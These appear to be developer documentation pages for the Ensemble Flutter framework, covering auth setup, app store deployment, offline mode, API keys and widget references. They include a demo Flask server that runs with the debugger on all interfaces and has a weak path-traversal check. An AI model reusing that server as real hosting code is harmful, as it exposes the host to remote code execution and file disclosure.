- -#### Setting up iOS -On Google's API Console, open the OAuth client ID for iOS and look for the `iOS URL Scheme` under Additional Information. - -Open `/ios/Runner/Info.plist` with a code editor, look for the block below and replace the value with your iOS URL Scheme. - -```yaml - - CFBundleURLTypes - - - - CFBundleTypeRole - Editor - CFBundleURLSchemes - - your_iOS_URL_scheme_here - - - -``` - -#### Setting up Android -There is no additional setup required for Android. - -#### Setting up Web -In the `web/index.html` file, look for the block below and replace the value with your Web client ID. -```html - -``` - - - - - -### Enable Auth service in Ensemble code - -By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -* Under pubspec.yaml. Uncomment the Auth module block, then run `flutter pub get`. -```yaml - # Uncomment to enable Auth service - ensemble_auth: - git: - url: https://github.com/EnsembleUI/ensemble_module_auth.git - ref: main -``` - -* Uncomment and update the following lines in `/lib/generated/ensemble_modules.dart`. Try running it with `flutter run` -``` -... -import 'package:ensemble_auth/auth_module.dart'; -... -static const useAuth = true; # set to true -... -if (useAuth) { - // Uncomment to enable Auth service - AuthModuleImpl().init(); -} else { - AuthModuleStub().init(); -} -... -``` - ---- - -# Deploy to iOS TestFlight -Note: we are showing here how to deploy your app to Apple TestFlight. Please follow Apple's [documentation](https://developer.apple.com/app-store/submitting/) on how to deploy to the App Store. -#### Register app -If this is a brand-new app, you first need to register a unique Bundle ID and a unique App Name with Apple. -1. [Register the Bundle ID](https://developer.apple.com/account/resources/identifiers/bundleId/add/bundle) `e.g. com.mycompany.appname`. This is important and cannot be changed later on. You'll also need this ID later in this document. - -Add Bundle ID - -2. [Create a New App](https://appstoreconnect.apple.com/apps) using a unique App Name and this Bundle ID. The App Name is how your app will eventually be searchable and appear in the App Store. - -Add App - -#### Preparing Ensemble for uploading -* Make sure you completed the [Preparing your App](/pages/deploy/1-prepare-app.md) step, including following the starter repo's README instruction to configure and run your App. -* Navigate to the app folder (e.g. my_first_app). -* Under `ios` folder, open `Runner.xcworkspace` with [XCode](https://developer.apple.com/xcode/). - * Select the Team (Apple Account) used to create the App and Bundle ID. You may need to log in to your Apple Developer Account under XCode > Preferences > Accounts. - * Under `Signing & Capabilities`, ensure the `Bundle Identifier` matches exactly your Bundle ID above. - Update App configs - - * Under `Info`, find the `Bundle display name` key and update its value to your desire name (e.g. My First App). This is the name that shows up once your App has been installed. This doesn't have to exactly match your App Name, and can be shorter so its name is not cut off under the App icon. - Add App - -* Run `flutter build ipa --no-tree-shake-icons`. This will create the ipa file at /build/ios/ipa/my_first_app.ipa. -* Download Apple’s [Transporter](https://apps.apple.com/us/app/transporter/id1450874784?mt=12) and login with the same Apple account. Drop the ipa file into the Transporter App then click Deliver. - * This may take 5-10 minutes AFTER upload completes before the build shows up under `Your App Name > TestFlight` tab, plus another 10-15 minutes to complete processing. -* Click to manage Apple's app compliance by answering the questions. - Update App configs -* You can now invite your team members to install your App under `Internal Testing`. Each person can download the app via TestFlight. - ---- - -# Connecting to OAuth services (Optional) - -Ensemble supports authorizing and fetching data from OAuth2 services like Google and Microsoft. The entire flow is handled automatically if you are using Ensemble Go to preview your app. - -When deploying your Production App and you'd like to use OAuth Services, please follow these instructions to configure your back-end server to work with Ensemble's UI. - -## App Redirect -When an OAuth flow is initiated within the UI, Ensemble will redirect the users to the appropriate OAuth service's login page. Once the users enter their username/password and authorize your app, the OAuth service will invoke a callback URL (known as Redirect URL) that your app defines. This Redirect URL will re-open your app and continue the OAuth flow. - -The Redirect URL to open your App can be a Http App Link or a Custom Scheme (non-http). - -### Custom Scheme -#### iOS -- Look for `CFBundleURLTypes` inside the ios/Runner/Info.plist and update accordingly. - - `CFBundleURLName` - By convention match this with your bundleID - - `CFBundleURLSchemes` - When registering with the OAuth services, they may give you a unique string or enable you to enter your own. The scheme follows this format `some.globally.unique.scheme://`. This has to be unique so it doesn't clash with any other apps out there. - - Enter only the portion before the `://`. -``` -CFBundleURLTypes - - - CFBundleURLName - com.mycompany.myapp - CFBundleURLSchemes - - some.globally.unique.scheme - - - -``` - -#### Android -- Open `android/app/src/main/AndroidManifest.xml`. Look for the callback Activity and add an `intent-filter` for your callback. -- e.g. if your callback URL looks like this `some.globally.unique.scheme://authorize`, the android:scheme should be `some.globally.unique.scheme`, and android:host should be `authorize`. -``` - - - - - - - - - - - - - -``` - - -### Http App Link -Using a URL to redirect and open your App requires two steps for each platform: 1. adding a configuration similar to the custom schemes above, and 2. prove that you own the redirect URL's domain. -#### iOS -- Open `ios/Runner/Runner.entitlements` and add an entry for the URL you want to redirect to your App. Note the required prefix `applinks:`. -- For example, if your want the URL `https://auth.mycompany.com/callback` to open your app. Enter only the domain to the URL below. -``` - - com.apple.developer.associated-domains - - - applinks: .... - - - applinks:auth.mycompany.com - - -``` - -- Prove that you own the domain URL above by uploading the json file below to your domain (or subdomain - depending what you used). - - The file should be called `apple-app-site-association` and served with Content-Type of `application/json`. - - The file can be at the root of your server or under a folder called `.well-known`. - - Using the example URL above, add `/callback` to the paths. -``` -{ - "applinks": { - "apps": [], - "details": [ - { - "appID": ".", // e.g. 3GHDU3434.com.mycompany.myapp - "paths": ["/"] // e.g. /callback - }, - { - .. other Apps and paths here ... - } - ] - } -} -``` - -#### Android -- Open `android/app/src/main/AndroidManifest.xml`. Look for the callback Activity and add an `intent-filter` for your callback. - - android:host is the URL domain or subdomain that will open the app, while android:pathPrefix is the path after the domain. - - For example, use the below if your want the URL `https://auth.mycompany.com/callback` to open your app. -``` - - - - - - - -``` -- Prove that you own the domain URL above by uploading the json file below to your domain (or subdomain - depending what you used). - - The file should be called `assetlinks.json` and served with Content-Type of `application/json`. - - The file can be at the root of your server or under a folder called `.well-known`. - - Get your app's SHA256 by going to Google Play's developer console. -``` -[ - { - "relation": ["delegate_permission/common.handle_all_urls"], - "target": { - "namespace": "android_app", - "package_name": "com.mycompany.myapp", - "sha256_cert_fingerprints": [ - "", - ] - } - } -] -``` - -## Server component -Once the OAuth service successfully authenticates the user and redirect back to our App, we will be making a call to your server and pass the OAuth code. Your service will be exchanging this code for the access/refresh token. -- We provide the sample server code in Node (deployable with Firebase). -- Open `ensemble/ensemble-config.yaml` and go to `services -> apiAuthorization`. - - Replace the `tokenExchangeServer` - ---- - -# Deploy to Android devices - -* Make sure you completed the [Preparing your App](/pages/deploy/1-prepare-app.md) step, then navigate to the folder created (e.g. my_first_app). -* Run `flutter create --platforms=android .` (note the period at the end) -* Run `flutter build apk --no-tree-shake-icons` to build the APKs (destination is /build/app/outputs/flutter-apk/). -* Connect your Android device to your computer, then run `adb install build/app/outputs/flutter-apk/app-release.apk`. - - -### Customizing your App -* Play Store requires each app to have a unique app ID, which cannot be changed after your submit your App. - * To update the app ID, open `/android/app/build.gradle`. Go to `android > defaultConfig > applicationId` and update the value. - * Remove `/android/app/src/main/AndroidManifest.xml`. - * Run `flutter create --platforms=android .`. -* To update the app's name. Open `/android/app/src/main/AndroidManifest.xml` and change the `android:label=` to the app name. - ---- - -# Deploy to Android Play Store - -## Pre-requisites -* Make sure you completed the [Preparing your App](/pages/deploy/1-prepare-app.md) step, then navigate to the folder created (e.g. my_first_app). -* Sign your Android app's release version. The below is a demonstration and maybe out-of-date. Please follow Android's latest documentation for up-to-date information. - * Generate a release key using Java's keytool - * Run `keytool -genkey -v -keystore ~/.jks -keyalg RSA -keysize 2048 -validity 10000 -alias ` - * Replace and to your liking. The tool will also ask you to choose the passwords. - * Under the /android folder, create a file called `key.properties`(DO NOT check this in) and populate these required values: -``` -storePassword= -keyPassword= -keyAlias= -storeFile= -``` - * Open `/android/app/build.gradle`. Under `android > buildTypes > release`, enter `signingConfig signingConfigs.release`. - -## Uploading your build -* Navigate to the folder for your project (e.g. my_first_app). -* Open the file `pubspec.yaml` and look for `version` e.g. version: 1.0.0+1. The last number is the build number which has to be unique on every upload. Simply increment it for each production build. -* Run `flutter build appbundle --no-tree-shake-icons`. This will create the bundle file under `build/app/outputs/bundle/release/app-release.aab`. -* Log into your [Play Store console](https://play.google.com/console) and go to your App. Select your release and upload the `.aab` file. - -## Updating your Play Store app. -* Once your app has been approved and live on the Play Store, follow these instructions for subsequent updates: - * Run `flutter pub upgrade` to upgrade Ensemble dependencies. This may include framework's bug fixes as well as new widget additions. - * If you are using Ensemble-hosted definitions, you already have the latest page definitions. -* Increment the version (the one after the + sign) in `pubspec.yaml`. -* Run `flutter build appbundle --no-tree-shake-icons`. This will create the bundle file under `build/app/outputs/bundle/release/app-release.aab`. -* Log into your [Play Store console](https://play.google.com/console) and go to your App. Select your release and upload the `.aab` file. - ---- - -# Prepare for Production - -Now, that you have built and tested an ensemble app, you would like to publish. Before publishing your app, it is recommended to make it production-ready. - -This guide covers covers the following topics. - -- **Adding a launcher icons** -- **Adding native splash screen** - -## Adding a launcher icons - -Launcher icons are required as the visual representation of the app on the device's home screen and app drawer, helping users quickly identify and launch the app. - -Currently, the Flutter logo serves as the default icon. Let's see how to replace it with your product's logo. - -We'll be using a package called fluter launcher icons from [pub.dev](https://pub.dev/packages/flutter_launcher_icons). - -- First add the package as dev dependency in `pubspec.yaml`. -```yaml -dev_dependencies: - flutter_launcher_icons: any -``` - -- Add launcher icon configuration inside `pubspec.yaml` -```yaml -flutter_icons: - android: "launcher_icon" - ios: true - # Add path to your icon image. - image_path: "assets/icon/icon.png" - web: - generate: true - image_path: "path/to/image.png" - background_color: "#hexcode" - theme_color: "#hexcode" -``` - -- Run the following command in terminal, to update native launcher icons with above configuration -```bash -flutter pub get -flutter pub run flutter_launcher_icons -``` - -For more nitty-gritty detail check [flutter_launcher_icons#book-guide](https://pub.dev/packages/flutter_launcher_icons#book-guide) - - -## Adding Native Splash screen - -When launching an app, a splash screen is the initial display that a user sees. By default, a native app shows a white screen, but with a splash screen, you can showcase your brand or product logo, and provide the user with a visual cue that the app is in the process of loading. - -We'll be using a package called fluter native screen from [pub.dev](https://pub.dev/packages/flutter_native_splash). - -To add a splash screen to your app, these steps should be followed: - -- First add the package as dev dependency in `pubspec.yaml`. -```yaml -dev_dependencies: - flutter_native_splash: any -``` - -- Add splash screen configuration inside `pubspec.yaml` -```yaml -flutter_native_splash: - - # color or background_image is the only required parameter. - # Only one parameter can be used, color and background_image cannot both be set. - color: "#hexcode" - #background_image: "assets/background.png" - - # The image parameter allows you to specify an image used in the splash screen. It must be a - # png file and should be sized for 4x pixel density. - #image: assets/splash.png - - # The branding property allows you to specify an image used as branding in the splash screen. - # It must be a png file. It is supported for Android, iOS and the Web. For Android 12, - # see the Android 12 section below. - #branding: assets/dart.png - - # To position the branding image at the bottom of the screen you can use bottom, bottomRight, - # and bottomLeft. The default values is bottom if not specified or specified something else. - #branding_mode: bottom - - # Dark theme parameters, if not set above params will be used. - #color_dark: "#042a49" - #background_image_dark: "assets/dark-background.png" - #image_dark: assets/splash-invert.png - #branding_dark: assets/dart_dark.png -``` - -- Run the following command in terminal, to update native slash screen setting with above configuration -```bash -flutter pub get -flutter pub run flutter_native_splash:create -``` - -Re-run your app and you'll see newly added splash screen. - -For more nitty-gritty detail check [flutter_native_splash#usage](https://pub.dev/packages/flutter_native_splash#usage) - ---- - -# Making your app work when offline - -You can embed your app definition in your build output so that your app works without network connectivity. Note that once you make this change, you will not have the ability to change the app from Ensemble Studio. - -## Prerequisites - -* You have completed the [Prepare your app for deployment step](#preparing-your-app-for-deployment). -* You have a text or code editor on your machine. We recommend [VS Code](https://code.visualstudio.com/). - -## Step 1. Create a folder for your app - -In your local directory where you cloned Ensemble Starter, navigate to `/ensemble/apps` folder. Create a new folder with your desired name, and no spaces. - -This name will not be customer-facing. - -Local app folder - -## Step 2. Copy your app artifacts - -To work in local mode, you can obtain your app artifacts from either **Ensemble Studio** or the **Desktop app**. -#### Option 1: Downloading Artifacts from Ensemble Studio - -1. Open **Ensemble Studio**. -2. Click the `...` menu button for your app. -3. Select **Download Beta** to download all the app artifacts. -4. Once downloaded, locate the app folder. -5. Copy the entire folder (with the above structure). -6. Paste the folder into the `/ensemble/apps` directory you created. - -#### Option 2: Obtaining Artifacts from the Desktop App - -To obtain local artifacts from the Desktop app, pull the app directly into the `/ensemble/apps` folder in your local directory where you cloned the Ensemble Starter. - -Follow this [guide](#pulling-from-cloud-to-local) to pull the app from the Desktop app. -Once obtained, copy and paste the downloaded folders into the `/ensemble/apps` folder you created. - -The downloaded app will already have the following structure: - -``` -/ -├── assets/ -├── fonts/ -├── scripts/ -├── widgets/ -├── screens/ -├── translations/ -├── config/ -│ ├── appConfig.json -│ ├── secrets.json -├── theme.yaml -├── .manifest.json -``` - - -## Step 4. Update your app to read the definitions locally - -In your local directory where you cloned Ensemble Starter, open `/ensemble/ensemble-config.yaml` file with your desired code or text editor and make the following updates: - -- At the top, set `from: local` under `definitions`: - -```yaml -definitions: - # where your page definitions are hosted ('local', 'remote' or 'ensemble') - from: local -``` - -- Then set the `appId` and `appHome` properties under `local` - -```yaml - local: - path: ensemble/apps/ - appId: myApp # this is the name of the folder you created in step 1 - appHome: MyHomeScreen # this is the name of the screens that should be rendered first when your app id launched -``` -- Under `i18n` update the `path` to match your app’s name `ensemble/apps/yourAppName/translations`. -```yaml - i18n: - # Directory where all the translation files (e.g. en.yaml, es.yaml) reside. - # Translation will be disabled without the path. - path: ensemble/apps/helloApp/translations/ -``` -## Step 5. Update starter `pubspec.yaml` -Add the necessary paths under `flutter -> assets` to ensure your app loads all required files and folders correctly: - -```yaml -flutter: - assets: - # list all your Apps directories here. It's a Flutter requirement - - ensemble/apps/``/ - - ensemble/apps/``/screens/ - - ensemble/apps/``/widgets/ - - ensemble/apps/``/scripts/ - - ensemble/apps/``/assets/ - - ensemble/apps/``/translations/ - - # # config folder contains appConfig.json and secrets.json - - ensemble/apps/``/config/ - ``` - NOTE: Only add the existing paths under assets and replace `` with the name of you app folder. - -## 5. Rebuild your app - -Now you can follow the steps for iOS or Android to run the app locally or build and upload your app to the respective app stores. - ---- - -# Guide: Generating Google Play Console API Key - -## Overview - -This guide outlines the steps to generate a Google Play Console API Key, enabling seamless deployment of APKs or App Bundles directly to the Google Play Store. Make sure to follow these steps sequentially for a smooth process. - -**Note:** Before using the Google API for direct app uploads, you must manually upload at least one build to Google Play Console. However, the build system can still be used to obtain the APK/App Bundle for subsequent uploads. - -## Steps for Creating Google Play API Key - -1. **Log in to Google Cloud Console:** - - Open [Google Cloud Console](https://console.cloud.google.com/). - - Ensure you are logged in with the same account as your Google Play Console. - - If needed, switch accounts by clicking on the avatar. - -2. **Select Google Play Console Developer:** - - Confirm that your account is set to `Google Play Console Developer` in the dropdown menu (located right of the Google Cloud Console logo). - -3. **Access APIs & Services:** - - Select `APIs & Services` from Quick Access. If not visible, use the search bar in the top center. - -![Google Cloud Console Home screen](public/images/deploy/b88f2d9e-8959-4c03-aa3d-b30b3aac56da.png) - -4. **Navigate to Credentials:** - - In the left panel, click on `Credentials`. - -5. **Create Service Account:** - - Click on `+ Create Credentials` at the top, then select `Service Account`. - - Provide a name for the service account (memorable for identification). - - Click `Create and Continue`. - -![Add Credentials](public/images/deploy/2f64dff5-5657-40dd-9461-e79eb5ccb6aa.png) - -6. **Define Role:** - - Choose the role as `Service Account User`. - - Click `Done` to create the API Key. - -![Select adequate role](public/images/deploy/81cb60a6-acac-41d4-b18b-53faceaa2bd6.png) - -7. **Copy Email Address:** - - Copy the email address of the created key (will be needed later). - -8. **Manage Key:** - - Click on the edit icon in the Action row, select `Manage Key`. - -![Manage Key](public/images/deploy/da4986fe-311c-4080-87cc-240b119fbce2.png) - -9. **Generate JSON Key File:** - - In the `Keys` tab, click on `Add Key`, then `Create new key`. - - Choose `JSON` and click `Create`. - - Save the downloaded `.json` file securely. - -![Download json key](public/images/deploy/0cede178-01ac-4fe8-841d-25e59067f9ec.png) - -**Note:** This key needs to be linked to Google Play Console before use. - -10. **Link Key to Google Play Console:** - - Open [Google Play Console](https://play.google.com/console/) and go to `Users and Permissions` in the sidebar. - -11. **Invite New Users:** - - Click on `Invite New Users` and paste the email address saved in step 7. - -![Invite new user](public/images/deploy/bd4df269-e351-4dad-a82d-acb45bc99801.png) - -12. **Set App Permissions:** - - In the App Permissions tab, select the apps for direct upload using the build system. - -![App Permissions](public/images/deploy/e2294e7f-01e2-4223-a378-9851fc34b1fe.png) - -13. **Configure Account Permissions:** - - In the `Account Permissions` tab, check relevant options under `App Access` and `Releases`. - -![Account permissions 1](public/images/deploy/41ae9244-7dd3-4ba5-b7bf-26068bd85ac7.png) -![Account permissions 2](public/images/deploy/5fd3b828-cfd9-4be8-9b21-54125c38a09e.png) - -14. **Send Invite:** - - Click on `Invite User`, then `Send Invite` to link the generated key with the apps successfully. - -Follow these steps diligently to ensure a hassle-free setup of your Google Play Console API Key. - ---- - -# Guide: Generating API Key for App Store Connect - -## Overview - -This guide provides step-by-step instructions on generating an API key for App Store Connect. This key allows you to interact programmatically with App Store Connect which would be required for deploying apps directly to App Store Connect using Build System. - -**Note:** Ensure you have the necessary App Store Connect account permissions to generate API keys. - -## Steps for Creating API Key - -1. **Navigate to App Store Connect:** - - Visit [App Store Connect](https://appstoreconnect.apple.com/). - -2. **Log in to Your Account:** - - Log in with your App Store Connect credentials. - -3. **Access API Keys Section:** - - From the homepage, navigate to the `Users and Access` section. - -4. **Select API Keys:** - - Click on the `Keys` option from the top. - -5. **Generate a New API Key:** - - Click on the `+` button. - -![Keys section](public/images/deploy/a1622af9-6bc4-44e8-9d40-01ecaa802e38.png) - -6. **Fill in the Details:** - - Provide a name for your API key. It will be useful to identify your key later on. - - Choose `App Manager` in the access part of the dialog. - -![API Key form](public/images/deploy/63059213-709b-4686-84ab-7293398951e1.png) - -7. **Generate the Key:** - - Click on the `Generate` button to create the API key. - -8. **Download and Store the Key:** - - There will be a `Download` button for the newly generated key. Download the `.p8` file which is the API key. - - Safely store the key file, as it cannot be downloaded again. - -![Download the generated API Key](public/images/deploy/4998013e-c189-4289-97b9-e4a6fb61038a.png) - -9. **Copy Key ID and Issuer ID:** - - Copy the `Key ID` for the generated key. Also, copy the `Issuer Id` at the top. - - They both will be required later on in the build system. - -Follow these steps to successfully generate an API key for App Store Connect, allowing seamless integration with the Build System. - ---- - - -# Guide: Generating a Firebase Service Account for App Distribution - -## Overview - -This guide outlines the steps to generate a Firebase Service Account with the necessary permissions to use the Firebase App Distribution API for seamless app distribution. - ---- - -## Steps for Creating a Firebase Service Account - -### 1. Log in to Firebase Console - -- Open the [Firebase Console](https://console.firebase.google.com/). -- Ensure you are logged in with the account associated with your Firebase project. - -### 2. Navigate to Project Settings - -- Select your project by clicking on its name in the top-left corner. -- From the dropdown menu, select **Project Settings**. -- Select the **Service accounts** tab -- Click the **X service accounts** button to open the Google Cloud Platform interface. - -![Firebase Service Accounts Button](public/images/deploy/firebase_service_accounts_button.png) - ---- - -### 3. Create a New Service Account - -#### a. Access Service Accounts - -- In the Google Cloud Platform, navigate to the **Service Accounts** section. -- Click the **Create Service Account** button. - -![Create Service Account Button](public/images/deploy/service-account.png) - -#### b. Fill in Service Account Details - -- **Step 1**: Enter the Service Account name and description. This helps you identify the account later and click **Create**. -- **Step 2**: Click the **Select a role** dropdown and choose **Firebase App Distribution Admin** and Click **Continue**. -- **Step 3**: Leave additional fields blank and click **Done**. - ---- - -### 4. Manage Service Account Keys - -#### a. Locate Your Service Account - -- In the list of service accounts, find the one you just created. -- Click the menu in the **Actions** column and select **Manage keys**. - -![Manage Keys Button](public/images/deploy/google_cloud_three.png) - -#### b. Create a New Key - -- In the **Keys** section, click **Add Key > Create new key**. -- Select **JSON** as the key type and click **Create**. -- Download the JSON key file and save it in a secure location. - -![Download JSON Button](public/images/deploy/google_cloud_four.png) - ---- - -### 5. Upload the JSON Key to Ensemble Studio - -- Return to Ensemble Studio. -- Upload the JSON key file to the **Firebase App Distribution** configuration in the **Build & Deploy** page. - ---- - - -# Host and serve your app definition on your own server - -Ensemble automatically serves your application definition (EDL). It also allows you to take the EDL from Ensemble studio and serve it from your own server. - -> [!NOTE] -> You must have owner or editor permission to download the app. - -> [!NOTE] -> Do not change any filename, extension or location of file. - - -### Serve the files - -> [!NOTE] -> The server code present here is just for demo purpose. - - -```python -from flask import Flask, abort, Response -import os - -app = Flask(__name__) - -BASE_DIR = '' - -@app.route('') - -@app.route('//') -def serve_file(app, filepath): - safe_app = os.path.normpath(app) - safe_filepath = os.path.normpath(filepath) - - full_path = os.path.join(BASE_DIR, safe_app, safe_filepath) - - if not full_path.startswith(os.path.join(BASE_DIR, safe_app)): - abort(403, "Access denied") - - if os.path.isfile(full_path): - with open(full_path, 'rb') as f: - content = f.read() - return Response(content, mimetype='text/plain; charset=utf-8') - else: - abort(404, description="Resource not found") - -if __name__ == '__main__': - app.run(debug=True, host='0.0.0.0', port=5001) - -``` -fyi: This server code is used to serve static files of your application and you can run this by simply `python filename.py` - -`BASE_DIR` is where all the downloaded from from download app button are available. -Here just make sure, the file serving route of your server can take filepath as parameter. -`filepath` can be `Home.yaml` or `i18n/en.yaml`. - - -### Configure the client app -> [!NOTE] -> Make sure your file serving server is live. - -Go to your `ensemble-config.yaml` under your `ensemble` directory in your client application. - -```yaml -definitions: - from: remote # here change local or ensemble to remote - - remote: - path: https://your-domain.com - appId: - appHome: - i18nPath: https://your-domain.com/appId/i18n -``` - - - ---- - - -# Accordion Widget - -The `Accordion` widget allows you to display a list of items in an accordion-style UI, where individual sections can be expanded or collapsed. This widget is highly customizable, offering options for styling the headers and bodies, controlling the behavior of sections (whether multiple sections can be open at once), and customizing animations and icons. - -## Key Properties and Features - -- **Accordion Mode**: The `limitExpandedToOne` property determines whether only one section can be open at a time (accordion mode) or multiple sections can be open simultaneously. Defaults to `true`. -- **Initial Opening Sequence Delay**: The `initialOpeningSequenceDelay` property allows you to add a delay (in milliseconds) before the initial opening of the sections. -- **Section Styling**: The `headerStyle` and `bodyStyle` properties allow you to customize the appearance of the header and body sections, respectively. -- **Icons**: You can add icons to the left and right of each section using `leftIcon` and `rightIcon`, and choose whether they flip when the section is opened or closed. -- **Padding and Spacing**: Control padding inside sections and spacing between sections using properties like `paddingListTop`, `paddingListBottom`, `paddingListHorizontal`, `paddingBetweenOpenSections`, and `paddingBetweenClosedSections`. Default values for padding are `0.0`. -- **Animations**: Customize the opening and closing animations of the sections with `openAndCloseAnimation` and `scaleWhenAnimating`. Both default to `true`. -- **Scrolling**: Disable scrolling for the accordion using the `disableScrolling` property. Defaults to `false`. - ---- - - -# Avatar widget - -The Avatar Widget provides a visual representation of a user or entity, typically used in user interfaces to personalize user experience. - ---- - - -# Button widget - -A control that can execute an action on tap or click. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/09c1087b-f9ee-4a8c-9286-e0e881184c07) - -## Properties - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------ | -| label | string | The button label | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| submitForm | boolean | If the button is inside a Form and upon on tap, it will execute the form's onSubmit action if this property is TRUE | -| onTap | [action](/pages/actions/directory.md) | Call Ensemble's built-in functions or execute code | -| onTapHaptic | enum | The type of haptic to perform when button is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| endingIcon | object | Icon placed behind the label, according to device text alignment | -| startingIcon | object | Icon placed in front of the label, according to device text alignment | -| gap | integer | The gap between the starting icon and ending icon | - -### Styles - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------ | -| outline | boolean | Whether the button should have an outline border instead of filled background | -| color | [integer or string](#Color) | Set the color for the button label starting with '0xFF' for full opacity. `transparent`, `black`, `blue`, `white`, `red`, `grey`, `teal`, `amber`, `pink`, `purple`, `yellow`, `green`, `brown`, `cyan`, `indigo`, `lime`, `orange` | -| labelStyle | object | An object that determines the size, color, and decoration of text | - -### Box Styles (Inherited) -This widget also inherits these styles - ---- - -# Calendar widget - -[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4aAgiwyVyucOAilPNy0s) - -| Attribute | Description | -|--------------------|-----------------------------------------------------------------------------------------------| -| rowHeight | Sets the height of each row in the calendar to a specified value (120 in this case). | -| tooltip | Displays a tooltip with information about the focused date, providing guidance on interaction.| -| headerTextStyle | Defines the text style for the calendar header, controlling its font size. | -| firstDay | Sets the first day of the calendar based on the current date. | -| range | Manages the selection of date ranges, allowing actions to be performed when a range is completed.| -| cell | Configures the style and alignment of individual calendar cells. | -| selectCell | Specifies the appearance of the selected cell in the calendar. | -| markCell | Determines the style of marked cells in the calendar. | -| todayCell | Customizes the appearance of cells representing the current date. | -| disableCell | Defines the style of disabled cells in the calendar, typically with a line-through decoration.| -| rowSpans | Configures the display of events spanning across multiple days, providing a clickable button. | - - -### Row Span in detail - -Row spans are widget, this widget span across multiple cell (Date). -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or storgae | -| name | string | Set the name to reference as you iterate through the array of data | -| span | | [Span detail](#Span) | - -#### Span -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| start | string, DateTime | Starting date of span | -| end | string, DateTime | Ending date of span | -| widget | | The widget to render for each item | - - -### Methods -| Function | Args | Description | -| ---| ---| --- | -|update() | | Refresh the calendar if required. Note calendar will automatically on calling any below functions | -| clearRange() | | Clear range entire range selection with this function. | -|selectCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as selected | -|selectStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as selected| -|unSelectCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as un-selected | -|unSelectStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as un-selected| -|toggleSelectCell(dates)| Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between selected and unselected with given dates -|markCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as marked | -|markStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as marked| -|unMarkCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as un-mark | -|unMarkStartEndCell(startDate, endDate) | Start Date (string, DateTime), End Date (string, DateTime) | Mark start, end and every date in between as un-marked| -|toggleMarkCell(dates)| Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between mark and unMark with given dates -|disableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as disable | -|disableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as disable | -|enableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Mark given date as enabled | -|toggleDisableCell(dates) | Single Date (string, DateTime), List of Dates (string, DateTime) | Toggle between enable and disabled cells with given dates | - -#### Exploring the [Kitchen Sink example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/4aAgiwyVyucOAilPNy0s), let's delve into the process that repeats as users interact with the app, triggering events and updating the UI based on the defined logic and configurations. - -Upon the View's loading, we initiate the following code block: -```yaml -executeCode: - body: |- - ensemble.storage.events = generateEvents(); -``` -This loads in all hardcoded objects within the `generateEvents()` function, as outlined in the `Global: |-` block. - -A notable quirk is encountered when dealing with bindings – setting storage to something (even itself) triggers them. The Calendar example illustrates this perfectly: -```yaml -executeCode: - body: |- - var newEvent = {'start_date': calendar.rangeStart, 'end_date': calendar.rangeEnd, 'title': nameInput.value, 'detail': descInput.value}; - ensemble.storage.events.push(newEvent); - ensemble.storage.events = ensemble.storage.events; - console.log(ensemble.storage.events); - onComplete: - navigateBack: -``` -Here, we start by appending/pushing our new event into our `ensemble.storage.events` array. However, to activate the binding for the updated array, we set it equal to itself, completing the cycle. - ---- - - -# Carousel widget - -The Carousel Widget allows you to create and render carousels, enabling the presentation of multiple items in a visually engaging and interactive slideshow format within your application. - ---- - - -# ChartJS widget - -The ChartJS widget renders a chart by leveraging the open-source library [chartjs.org](https://www.chartjs.org/). - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/5d7b84de-3bbd-456e-aeea-98e2c9f4c3c7) - - -## Basic example - -The primary property required for ChartJs widget requires is `config`. - -```yaml filename="source" -View: - body: - Column: - children: - - ChartJs: - onTap: - eexecuteCode: - body: | - console.log(event.data); - config: | - { - "type": "pie", - "data": { - "labels": ["Red", "Blue", "Yellow"], - "datasets": [{ - "data": [300, 50, 100], - "backgroundColor": [ - "rgb(255, 99, 132)", - "rgb(54, 162, 235)", - "rgb(255, 205, 86)" - ] - }] - } - } -``` - - -## Replace chart's data with new data - -You can change the entire data of a chart using `setData` method: - -1. Add an id to your chart widget. -2. Use `setData` replace data. -3. Use `update` to redraw the chart. - - -```yaml filename="source" -View: - - body: - Column: - styles: - padding: 100 0 - gap: 16 - crossAxis: center - children: - - Text: - text: Energy Sources - styles: - textStyle: - fontSize: 20 - - ToggleButton: - styles: - spacing: 10 - runSpacing: 10 - color: black - selectedColor: white - backgroundColor: white - selectedBackgroundColor: green - selectedBorderColor: blue - borderColor: green - items: - - Your home - - Others - value: "Your home" - onChange: | - if (this.value == "Your home") { - energySourceChart.setData(0, [60,10,20,10]); - energySourceChart.update(); - centerText.text = "60%"; - } else { - energySourceChart.setData(0, [20,40,50,20]); - energySourceChart.update(); - centerText.text = "10%"; - } - - - Stack: - styles: - alignChildren: center - children: - - ChartJs: - styles: - width: ${ device.width } - height: ${ device.width } - id: energySourceChart - config: ${ setEnergyChartConfig([60,10,20,10])} - - Column: - styles: { crossAxis: center, mainAxis: center } - children: - - Text: - text: Green energy - styles: - 